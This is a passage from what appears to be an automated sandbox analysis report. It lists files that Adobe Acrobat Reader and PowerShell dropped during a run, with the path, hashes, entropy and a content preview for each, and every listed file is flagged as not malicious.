Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.306828394294818
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJfbPtdPeUkwRe9:YvXKXNnXHZMGDV8Ukee9
MD5:	673918269A4935B61E0774F27454BCFF
SHA1:	843364308C77F16CCC4C492F1CE65598855E3F21
SHA-256:	6D6D30FF81AEDFCD1F0BC7A6607A4AC299B68EB1D89958B016068C69822FE972
SHA-512:	F6A8EC26F5217166F4D29D06D39BFD1D93E97249479F9B0109A94BC70D1CA2D38396204ACC2B88A7B03FC4982FB37D2C736E88A00E81AE64D3354652B205E1DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.3058814409263855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJf21rPeUkwRe9:YvXKXNnXHZMG+16Ukee9
MD5:	2056113DDA258DC159CDC371725AD108
SHA1:	13DC4426EA7A9186B9192FC3243A4B3F801B85F2
SHA-256:	9C16967D4323398EBCDC9477A6B79EBDDCEFBA4446497DE48AB085457A6D5828
SHA-512:	13B980B37C4DD55742779E27725076D5CCF4015B4FB3125C3F0EAD498412ACB1F546FA470282A10E9C233CF7CBB9C2AE65E21683CD58801C107A467C53702410
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66824512811814
Encrypted:	false
SSDEEP:	24:Yv6XNnXHZZamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS4a:YvmXZlBgkDMUJUAh8cvMT
MD5:	3CBFAD75723137EF1425F64D5F9D6443
SHA1:	09C4C77C1FF41FC170F3093F3BA6F43D13D5A714
SHA-256:	3805B76BE5D97CC554F148884F5065B7EAC909BF7B3ABB00354B9987B638982F
SHA-512:	E55749F197E81001A7DF3540235F8CF2372DB6C8FCE5098F1854106DE9BF893275B043C1D1B51C0EF54356F9965AD8F018019168EEE6772B83B3FE28CCF9FD79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.279742813924081
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJfshHHrPeUkwRe9:YvXKXNnXHZMGUUUkee9
MD5:	DFAC53B74C84D5DA5872888F2FA02660
SHA1:	A51213466077222288A7E836437FB6C1B972F5CE
SHA-256:	765451C4563CB6D975D65BEBB55D5AC623E00A0EB17B31FCF1BA57D71BD12E47
SHA-512:	5DCC4A70DD61FCA53C15E4584094B47847296C0F08446424ED3E3F62C0166FCF1047290B715B658BE04329B555663D7C8285A9F6FCCD568C9C0962BA57065496
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.295768403562337
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNFd1hwQdhlzFkF0Y0oAvJTqgFCrPeUkwRe9:YvXKXNnXHZMGTq16Ukee9
MD5:	D534AF61C5E7CDAC5206D1806F8ABFA9
SHA1:	7AFA8604886BF23C87C7CA7443BD42C580EBF9D3
SHA-256:	C2F3BF74C8FDD00611815E2CE6BEEE784A57C163E16C84DB94CB0096DBA2BC42
SHA-512:	1276F0384DF07C68779EF5EB4AD6A094C3445F5ADCCD082FD3EB61ECD1FC1AB6C11052D4432AD554E9650242ACA59BB44A25019AC62935D0970EF2E0E726DAA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"954b849c-b3bc-4d13-8e18-42635d8074a6","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736703524379,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144506613349136
Encrypted:	false
SSDEEP:	24:YLWdGaI84ayVdnqdIddJLCEhdlGfWdBPRmWdo0sQ2JdPjL8sj0SbdfiOnidC2DnK:Yqi+EJG1TQeL8+xhoAh3Cxex6cR9mk
MD5:	1DC1BE7B42C350B9DD7B229A6279041F
SHA1:	5375940EFBF0A82B7238270775AE6D2F6157C493
SHA-256:	DD5D2269474B2D1A79723B99C898826E52C908D74542BDF022B5AD30A4F0C276
SHA-512:	3D2D008E2BDBAAAA43DE9D0306C448E4512359C639C83912DD1F012ABBACBB29E0D5E0E6D34503AA42216889288FFDF22C08DE6F7C7DAE641E38489AD1195B97
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"8216955d9dd4a8e1f0678ea9e3b11274","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736528459000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b0bc48176b41896d0c6f4a8f8ab9ec31","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736528459000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"0ae761d0ddbc84ec50cbc3a1cd13e177","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736528459000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"85b27d6686b39a6ad5ae37881ed57534","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736528459000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3750629d1c5512c064261c44f21e82c2","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736528459000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e73a82e560ce19e34359d26ff144d229","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.364307524036489
Encrypted:	false
SSDEEP:	48:Tll2GL7msMF6gU9rtPth0Ob1lSvp2XKNj:fVmsMF6v9rtPth0Ob1l0gaV
MD5:	89604EB996D62286049BAD89B56C70ED
SHA1:	7B83D76D248F8B6955BF3C937FB3CCA60DE99297
SHA-256:	743F76FABD4CB797A14EB603A7BC5DF60D2D3EA5969D864EAFF0073E1598904B
SHA-512:	E12F12343E1C5A66B6507F570C25FA2BCD5D27F4D66519449724E8BF5D4FF1A347DFA214B3C5FDD959FF48F4CDC5136E6034B42890569408F8C12A9A137F5D59
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8380603584028363
Encrypted:	false
SSDEEP:	48:7MrF6gU9rtPth0Ob1lSvp2+KNqmqGufl2GL7msb:7OF6v9rtPth0Ob1l0gHEmKNVmsb
MD5:	307B1AC9C370BBB3DD8E11D9EC238626
SHA1:	A741FBF3C685DF95FDF4AEC2E1793611148A0F30
SHA-256:	642A53EBB29757838FC50FCB7D784FAF742270C9AD83B1F4C7880A491A494448
SHA-512:	6D427A1CF993757E5FA2F3290547DBD9EACF4D8210F310F20CE62890BA1F26419464DDD352D4EBDFAD1E58B0DB66BB979C9268C06687570251ADCCFEDBAA87F7
Malicious:	false
Preview:	.... .c......u............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgP0yzNX3m1Nlh8P4iiXPpgLD+bA7Yyu:6a6TZ44ADEP9zNICP4iiXim07K
MD5:	E74A4DCF70691ED553888FDD5941C770
SHA1:	C855B25963F7CE67254C0572546D0C99E1464C05
SHA-256:	FF3191C1A8A42143261B0949962B7E3177647C47E1B3817338AFE463EFE14BA7
SHA-512:	F8B318778DD45645EA27303DBA901893F7596A568BDA723290A8EB2F3A947D870A99DD6C847ECA0CFB525041D7AC95FB0FB7FEBE7E7942CCC14226EF4EECBEA0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI4b5eb.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.48840356430952
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3n:Qw946cPbiOxDlbYnuRK+bD3n
MD5:	99EEFF32FC9B28189953A0C9F31CE432
SHA1:	5762D40893A21A8D0702EA81454F6AAC8AC10ECA
SHA-256:	FA3EDA16058C1F08CE39F4EEE1F8DE05C6E1E63320A02522BBEB449FABB9193F
SHA-512:	FD175B7EC605B2D599EFDC1BA5756535E33CF1EA0F2493F05F18711795276A29644C08CBC7E5115F5148851C90A0138450909625C43F69C0290751E5FCDE34FB
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.0.0.:.5.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ebe33ama.5gc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xchorb0u.2ma.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-00-52-569.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.325555449275219
Encrypted:	false
SSDEEP:	384:JekpMW7ujsO+Z3k/V1WPGHEQRmpvtV7C36g2OwfBhBUtBX66p0o6V6xG4W7wtNF2:nO2
MD5:	39628FA3AE1A78F558A4947A4847C830
SHA1:	083A80F18FBEA378E9944FF9B6B74FE68CD56D92
SHA-256:	E634D52BBCA86894E6CF9CA673A8FA4035AD705990F27198651E88F969FE73AC
SHA-512:	F488D486C5DA8E071B212070005D5F91E4D06CD8D6E65BBBA1D8D5CE9FE929C8935841A93180297EE8B4F50069F06455850DAFAB1525B2F33797248BEDBF0A69
Malicious:	false
Preview:	SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:278+0200 ThreadID=5108 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:279+0200 ThreadID=5108 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:279+0200 ThreadID=5108 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:279+0200 ThreadID=5108 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:279+0200 ThreadID=5108 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.344756107232367
Encrypted:	false
SSDEEP:	384:wztCVvI/LgtTFUwzqQ6jcO7+y94reTXzyZYMi2ykefNVT6GiMd0GMJM1I24Ug11+:wI+
MD5:	01B5D668C06B9E0E077C7C90A04930D4
SHA1:	34B2200AB091C0E0D3554DC741D306D1423BD20B
SHA-256:	B71B9B545C1A02A03C029589D2B4E80F471014A7DF80BD7699DA29CF26532F92
SHA-512:	2BB8DE1AE6CDB32F997C18349BE7A67295AF9D09F3184B0E0B890334168E86694BE2F481082388878D69C0273D3A4884DA484C989FB04B14816052ACF5479F57
Malicious:	false
Preview:	SessionID=10816c85-5d08-45fe-b09b-83d994d89a5d.1736528452587 Timestamp=2025-01-10T12:00:52:587-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=10816c85-5d08-45fe-b09b-83d994d89a5d.1736528452587 Timestamp=2025-01-10T12:00:52:589-0500 ThreadID=7588 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=10816c85-5d08-45fe-b09b-83d994d89a5d.1736528452587 Timestamp=2025-01-10T12:00:52:589-0500 ThreadID=7588 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=10816c85-5d08-45fe-b09b-83d994d89a5d.1736528452587 Timestamp=2025-01-10T12:00:52:589-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=10816c85-5d08-45fe-b09b-83d994d89a5d.1736528452587 Timestamp=2025-01-10T12:00:52:589-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394533787915316
Encrypted:	false
SSDEEP:	768:SllhexEhcIWcsRoUh39w7P/t8k+yyUXhS3i:SllhexEhcIWcsRoUh39w7P/t8k+yyUXF
MD5:	EFAACFABBB5D90FD69AB0A7DDB4D7008
SHA1:	8C611120E5E40F2C54FE7B241483DE9259A271CE
SHA-256:	76E2C39F9AF445106E77BAB39C27A0DF26203FB486A23EC0FC5C5AB78BD469EE
SHA-512:	3C6134B2B970DACE5EF7D04BFC81B1E559C0320A30494D1E27744723EC1C3530174525551E4AC2209B75EC9A78D7D25F0FD287586D43A1620E9F4630C71AA7B6
Malicious:	false
Preview:	05-10-2023 02:07:19:.---2---..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 02:07:19:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\07d5dcfb-375c-4c16-922a-4935cde8f554.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	F43041C007C55C623135DD65EBCBE292
SHA1:	0F5781369DB2C967A1795898030244B2E9D561F6
SHA-256:	4F7827EA2E3ACAA6A1B5BC7969516DD8EF08AC789E9C5FBCE61A71D0553C2B8D
SHA-512:	E5D1D615B902E4D66FD550BDF1418FE7D70BC08548EA006891F90CB183299D6700547205A3F2FEED6AE2C2F3A95B5F094356E4FB5451A36C4555CBFABE4D44F5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\464b2924-8ffe-4565-9acd-97497afbb317.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\896cbf44-9feb-44d3-ad29-822690a3f22f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
